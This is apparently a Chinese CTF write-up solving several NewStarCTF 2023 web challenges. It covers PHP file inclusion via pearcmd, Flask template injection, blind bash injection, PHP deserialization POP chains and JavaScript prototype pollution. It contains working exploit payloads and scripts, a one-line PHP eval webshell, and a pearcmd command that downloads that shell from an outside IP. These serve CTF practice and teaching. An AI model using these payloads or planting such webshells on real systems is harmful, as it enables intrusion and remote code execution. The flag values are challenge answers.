flag{80642161-858d-4876-a143-5b036
flag{80642161-858d-4876-a143-5b036f
flag{80642161-858d-4876-a143-5b036f2
flag{80642161-858d-4876-a143-5b036f20
flag{80642161-858d-4876-a143-5b036f205
flag{80642161-858d-4876-a143-5b036f2059
flag{80642161-858d-4876-a143-5b036f2059d
flag{80642161-858d-4876-a143-5b036f2059d5
flag{80642161-858d-4876-a143-5b036f2059d5}
{'flag': ['flag{80642161-858d-4876-a143-5b036f2059d5}']}
[+]数据表here_is_flag的字段如下:
(1)flag
[*]请输入要查看字段的序号(输入0退出):

Include ?

考点:
register_argc_argv
疑点:

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/+hello.php

?c=pearcmd&+download+http:/vpsip:81/shell.php(大蒙圈:文件名为b.php时失败)
这些payload我看不懂其中的连接符号

LFI to RCE

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

LFI的意思是本地文件包含

在这里插入图片描述

提示我们查看phpinfo.php

在这里插入图片描述

搜索flag,可以看到hint

在这里插入图片描述

fake

暗示我们查看register_argc_argv,搜索它

在这里插入图片描述

发现这个服务是开启的,一定有与他相关的漏洞,搜索

这道题,我用了好几个方式,但是只有公网下载文件成功了,还开启了python3服务

python3 -m http.server 81

在这里插入图片描述

p.php:

<?php
highlight_file("p.php");
@eval($_POST[8]);
echo "it is ok";
?>
?file=pearcmd&+download+http://124.70.205.216:81/p.php 

在这里插入图片描述

访问p.php

在这里插入图片描述

连蚁剑

在这里插入图片描述

参考:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

https://blog.csdn.net/weixin_63231007/article/details/125900528

GenShin

考点:
SSTI

疑点:

你说得对,但是
在这里插入图片描述

[0x00]找到SSTI点

dirsearch扫出来的/console是迷惑人的

在这里插入图片描述

[0x01]测试模板

{{}}被过滤了

fuzz测试

== popen request session \
\x {{ }} ' url_for lipsum

{% print() %}替代

{% print(7*7) %}大致判断是flask模板

[0x02]构建flag

Python简单的SSTI,ban掉了一些内置函数但还剩下get_flashed_message()

popen单词的绕过:["pop"+"en"]

咱们直接

{% print(get_flashed_messages.globals.os["pop"+"en"]("cat /flag").read()) %}

R!!!C!!!E!!!!

考点:
Bash盲注
疑点:

第一种解法

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

过滤了

$ . ! @ # % ^ & * ? { } > < nc tee wget exec bash sh netcat grep
base64 rev curl wget gcc php python pingtouch mv mkdir cp/i

反弹,dnslog均不行

bash盲注

import time

import requests
url = "http://737d3958-e0ab-412d-abc9-18b899a99792.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
	for j in range(1,50):
		#ascii码表
		for k in range(32,127):
			k=chr(k)
			payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 6;fi"
			length=len(payload)
			payload2 ={
			    	"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
			}
			t1=time.time()
			r=requests.post(url=url,data=payload2)
			t2=time.time()
			if t2-t1 >5:
			    result+=k
			    print(result)
	result += " "    	 

第二种解法

非预期就是直接用 ls / |script xxx,没给权限设死

然后在当前目录访问文件xxx即可

POP Gadget

考点:
PHP反序列化 POP构造
疑点:

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

第一种方法

[0x00]分析链条

<?php
highlight_file(__FILE__);

class Begin{
    public $name;//6 Then

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;//5 Super

// 当一个对象被当作一个字符串被调用
    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj// 3 CTF
//在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)的方法时触发
    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;// 4 Handle
//__invoke() 当脚本尝试将对象调用为函数时触发    
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;//2 WhiteGod

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;//1 shell system
    public $var;//1 shell "ls /"

//在不可访问的属性上使用unset()时触发
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

[0x01]payload:

<?php
class Begin{
    public $name;
}

class Then{
    public $func;
}

class Handle{
    public $obj;
}

class Super{
    public $obj;
}

class CTF{
    public $handle;

}

class WhiteGod{
    public $func;
    public $var;
}

$a = new WhiteGod();
$a->func = 'system';
$a->var = 'cat /flag';
$b = new CTF();
$b->handle = $a;
$c = new Handle();
$c->obj = $b;
$d = new Super();
$d->obj = $c;
$e = new Then();
$e->func = $d;
$h = new Begin();
$h->name = $e;
echo urlencode(serialize($h));

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

第二种方法

POP Gadget如下:
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

编写Exp如下:

<?php
class Begin{
    public $name;
    public function __construct($a)   
    {        
        $this->name = $a;
    }
}

class Then{
    private  $func;
    public function __construct($a)   
    {        
        $this->func = $a;
    }
}

class Handle{
    protected  $obj;
    public function __construct($a)   
    {        
        $this->obj = $a;
    }
}

class Super{
    protected  $obj;
    public function __construct($a)   
    {        
        $this->obj = $a;
    }
}

class CTF{
    public $handle;
    public function __construct($a)   
    {        
        $this->handle = $a;
    }
}

class WhiteGod{
    public $func;
    public $var;
    public function __construct($a, $b)    
    {
        $this->func = $a;        
        $this->var = $b;    
    }
}

// POP Gadget: 
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

OtenkiGirl

考点:
JavaScript 原型链污染(_proto_)
疑点:

随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:

获取全部信息

POST /info/0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

可以改变0的值就是获取到指定时间戳之后的信息

提交信息

POST /submit HTTP/1.1
Content-Type: application/json

提交信息必须为 JSON 格式,contact和reason字段是必须的,例如

>POST /submit HTTP/1.1
>Content-Type: application/json
>{
>  "contact": "test",
>  "reason": "test"
>  }

响应

>HTTP/1.1 200 OK
>connection: close
>content-length: 159
>content-type: application/json; charset=utf-8
>date: Sun, 24 Sep 2023 07:09:54 GMT
>server: openresty
>{  "status": "success",
>  "data": { 
>  "wishid": "2Tn69Yq5hBbTwLdihWZfdKVF", 
>  "date": "unknown", 
>  "place": "unknown", 
>  "contact": "test", 
>  "reason": "test", 
>  "timestamp": 1695539394820  
>  }
>}

查看routes/info.js源码,考察从数据库中获取数据的函数getInfo

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

//存储以毫秒表示的日期时间戳的值:timestamp

其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time

考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

查看routes/submit.js源码,发现注入点

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']``['min_public_time']的值即可

于是构造payload

POST /submit HTTP/1.1
Content-Type: application/json

{
	"contact": "test",
	"reason": "test",  
	"__proto__": { 
	  "min_public_time": "1001-01-01"  
	}
}

然后为我们再请求/info/0,就能得到更多的数据,其中一条是

{  
	"wishid": "L6VFppr6GDqYPELMGTNTeNZ6",
 	 "date": "2021-09-27",  
 	 "place": "学園都市",  
 	 "contact": "御坂美琴",  
 	 "reason": "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}です",  
 	 "timestamp": 1190726040113
}

得到 flag

flag

参考:
深入理解 JavaScript Prototype 污染攻击:看1-4即可

第四周

More Fast

考点:
Fast Destruct、POP构造
疑点:

再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了..

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

构造POP链比较简单,之前的题目弄懂的话这道题构造POP也就很简单了,POP Gadget如下:

Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web::evil

最后一个对于flag的绕过也很简单,通配符就可以绕,方法很多,POP Gadget的Exp如下:

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
}

class Pwn{
    public $obj;
}

class Reverse{
    public $func;
}

class Web{
    public $func;
    public $var;
}

class Crypto{
    public $obj;
}

$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";

难点在于反序列化位点的抛出异常:

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

这里考点在于Fast Destruct,利用GC垃圾回收机制提前触发Destruct即可,原理可以自行了解,本题利用修改数组下标的方法绕过,最终Exp如下:

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
}

class Pwn{
    public $obj;
}

class Reverse{
    public $func;
}

class Web{
    public $func;
    public $var;
}

class Crypto{
    public $obj;
}

$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
$a[0] = $obj;
$a[1] = NULL;
echo str_replace("i:0","i:1",serialize($a));
// a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /f*ag";}}}}}i:1;N;}

参考:
php GC(垃圾回收)机制
GC2

她逃,他追,她插翅难飞

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data